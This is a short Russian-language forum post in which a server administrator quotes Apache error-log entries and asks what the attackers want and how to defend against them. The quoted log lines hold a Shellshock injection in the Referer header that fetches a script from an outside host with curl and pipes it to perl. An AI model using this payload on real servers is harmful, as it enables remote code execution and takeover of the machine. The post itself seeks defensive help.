Обычно в мои журналы ошибок apache попадает большой объем типичного «phpmyadmin» (запросы и огромное количество вариантов написания), администратора wordpress, joomla и многих других.
Но вчера вечером мой сервер получил необычно большой объем нового типа:
[Mon Oct 27 20:22:58 2014] [error] [client 46.105.118.179] File does not exist: /var/www/details.cgi, referer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl
И
[Mon Oct 27 20:22:59 2014] [error] [client 46.105.118.179] script not found or unable to stat: /usr/lib/cgi-bin/zml.cgi, referer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | p$
Все они после небольших вариаций двух вышеупомянутых.
Кто-нибудь еще видел это? Что им нужно? Могу ли я принять дополнительные меры безопасности для таких атак?